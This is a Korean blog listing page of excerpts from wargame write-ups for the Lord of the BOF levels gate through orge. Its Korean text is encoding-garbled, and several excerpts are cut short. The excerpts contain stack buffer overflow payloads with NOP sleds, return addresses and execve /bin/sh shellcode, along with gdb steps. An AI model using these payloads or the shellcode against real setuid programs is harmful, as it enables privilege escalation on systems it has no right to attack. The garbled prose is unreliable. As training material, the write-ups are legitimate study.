728x90 ๋ฐ์ํ #lob7 LOB orge ์ฝ๋๋ฅผ ์ด์ด๋ณด๋ฉด argv[0]=file์ด๋ฆ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํ์ผ์ด๋ฆ์ 77byte๋ฅผ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ์ด์ค๋ค. ./๊น์ง ํฌํจํ๋ฏ๋ก 75๋ฅผ ํ๋ค.๋๋จธ์ง๋ ๋์ผ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(์ฌ๋ณผ๋ฆญ ๋งํฌ) $(python -c 'print "\x90"*40+"AAAA"+"\x9c\xfb\xff\xbf(์ฃผ์๊ฐ)"') $(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB darklf ์์ค๋ฅผ ์ด์ด๋ณด๋ฉด ์ผ๋จ ์ ๋ฌธ์ ๋ ๋น์ทํ๋ฐ ๊ธธ์ด๋ฅผ ์ฒดํฌํ๋ค.์ฒซ๋ฒ์งธ์ธ์ ๊ฐ์ ๊ธธ์ด๋ฅผ ํ์ธํ์ฌ 48๊ธ์๋ณด๋ค ํฌ๋ฉด ๋์๋ฒ๋ฆฌ๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค. ์ผ๋จ ์๊ณผ ๋๊ฐ์ด ์งํํ๊ณ payload๋ฅผ ์์ฑ๋ ./darkelf $(python -c 'print "\x90"*40+"AAAA"+"\xcc\xfb\xff\xbf"') Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB wolfman ๋ค์ ๋ฌธ์ ๋ฅผ ํ๋ฉด ๋๋ฅ ์ ๋ฌธ์ ๋ ๋๊ฐ์ ํจํด์ด๋ค. ./wolfman $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xec\xfb\xff\xbf"(์ฃผ์๊ฐ)+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB orc cp๋ช ๋ น์ด ๊ฐ์ ๊ฑด ๋ฌด์ํ๊ณ ๋ค์ ์ ์์ ํ์ฌ ๋ฌธ์ ๋ฅผ ํ๋ฉด orc.c๋ฅผ ์ด์ด๋ณด๋ฉด buffer๊ฐ 40์ด๊ณ ๋ฆฌํด๊ฐ์ด \xbf๊ฐ ๊ผญ ๋ค์ด๊ฐ์ผ ํ๋ค๊ณ ๋์จ๋ค. gdb๋ฅผ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฉ์ธ์ ๋ธ๋ ์ดํฌํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ r $(python -c 'print "\x90"*100์ ์ ๋ ฅํ์ฌ esp๊ฐ์ ๋ฐ๊พธ์๋ค.๊ทธํ x/100 $esp๋ก ๊ฐ์ ํ์ธํ๋ฉด 90909090๋ค์ด๊ฐ ์๋ ์ฃผ์๋ฅผ ๋ณผ์ ์๋ค. payload๋ฅผ ์์ฑํด๋ณด๋ฉด ./orc $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xdb\xfb\xff\xbf(ret ์ฃผ์๊ฐ)"+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB goblin ์ ์์ ํ๊ณ (cp ๊ฐ์ ๊ฒ์ ๋ฌด์ํ๊ฒ ์ต๋๋ค) ์์ค๋ฅผ ํ์ธ ํ๋ฉด ์ด๋ฒ์ ๋ํ buffer๊ฐ 16์ธ๊ฒ์ ํ์ธ ํ ์์๋ค.๋จผ์ vi ๋ฅผ ์ด์ฉํ์ฌ ํ๋ก๊ทธ๋๋ฐ GOGO!! ์์๊ฐ์ด #include #include int main(int argc, char *argv[]){long shell;shell = system ์ฃผ์๊ฐ;๋๋จธ์ง๋ ๋์ผ ํ๊ฒ ํ๋ก๊ทธ๋๋ฐ์ ํ๊ณ gcc๋ฅผ ์ด์ฉํด ์ปดํ์ผ์ ํ๋ค. ์ด์ system ์ฃผ์๊ฐ์ ๋ณด๊ธฐ์ํด gdb๋ฅผ ์ด์ฉํด ๋ค์ด๊ฐํ b main๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฉ์ธ์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑด๋ค.๊ทธํ p system์ด๋ผ๋ ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ์ฌ system ์ฃผ์๊ฐ์ ํ์ธํ๋ค.(ํ๋ก๊ทธ๋๋ฐํ ๋ ์ ๋ ฅํด์ผํจ) ์ด์ payload๋ฅผ ์ง๋ณด๋ฉด (python -c 'print "\x90"*20+"AAAAA(ebp+8.. Wargame/CTF(Capture The Flag) 2015. 9. 15. LOB gremlin gate์ ๋ง์ฐฌ๊ฐ์ง๋ก cp๋ช ๋ น์ด๋ฅผ ์คํํ์ฌ ํ์ผ์ ๋ณต์ฌํ๋ค. ๊ทธํ gremlin.c๋ฅผ ์ด์ด ๋ณด๋ฉด 16์ด๋ผ๋ buffer๋ก small buffer๋ผ๋ ๊ฒ์ ์์ ์๋ค.๊ทธํ gdb๋ฅผ ์ด์ฉํ์ฌ ๋ณด๋ฉด sub 0x10์ ๊ฐ์ ํ์ธํด๋ณด๋ฉด 16์ด๋ผ๋ ๊ฒ์ผ๋ก dummy ๊ฐ์ด ์๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค. 16๋ฐ์ดํธ๋ฅผ ํ๋ณดํ๋ ๊ฒ์ผ๋ก ๋ณด์ด๋ฏ๋ก main+3์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑด๋ค. ๊ทธ๋ฆฌ๊ณ ํ๋ก๊ทธ๋จ ์คํ ๋์์ ์ธ์๊ฐ ์ ๋ฌ๋๋ฏ๋ก argv[2]์ ์์น๋ฅผ ์์๋ณด๊ธฐ์ํด $(python -c 'print "\x90(buffer+sfp๊ฐ)"*20+"BBBB(ret์ ๋ฎ์ด์จ์ผํ ์ฃผ์ ๊ฐ๋ค์ด๊ฐ ์์น"') $(python -c 'print "A"*241"")์ ๋ฃ๋๋ค 0x42424242๊ฐ ret์์น๋ก ๋ฎ์ด์จ์ผํ๋ฏ๋ก ๋์ถฉ 414141414.. Wargame/CTF(Capture The Flag) 2015. 9. 14. LOB gate LOB gate๋ก ์ ์์ ํ๋ฉด gate์ gate๋ก ์ ์๊ฐ๋ฅํ๋ค. ์ ์ํ ํ์ธ ํ๋ฉด ํ์ผ์ด 3๊ฐ์๋ ๊ฒ์ด ํ์ธ๊ฐ๋ฅ ํ๋ค ๋จผ์ cp ๋ช ๋ น์ ์ด์ฉํ์ฌ gremlin์ ๊ถํ์ด ์์ด gdb ๋ ๋ชปํ๋ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ !cp๋ช ๋ น์ด๋ ํ์ผ์ ๋ณต์ฌํ๋ ๋ช ๋ น์ด์ด๋ค. ํ์ผ์ ๋ณต์ฌํ๊ณ gremlin.c ๋ฅผ ์ด์ด๋ณด๋ฉด strcpy์์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ๋ณผ์ ์๋ค.ํ์ด๋ก๋๋ฅผ ์๊ฐ ํด๋ณด๋ฉด ์ผ๋จ buffer 260(256+sfp)+shellcode+ret์ฃผ์(buffer์ฃผ์)๋ฅผ ๋ฃ์ด์ผํ๋ค. gdb๋ก ํ์ธ์ ํด๋ณด๋ฉด strcpy๋ค์์์ ์ผ์ด๋๋ b *main+59์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ r $(python -c 'print "\x90"*200(์์์ ๊ฐ)')์ ๋ฃ๊ณ x/100x $esp ๋ก esp๊ฐ์ ํ์ธ ํ๋ฉด 0x9090909.. Wargame/CTF(Capture The Flag) 2015. 9. 14. ์ด์ 1 ๋ค์ 728x90 ๋ฐ์ํ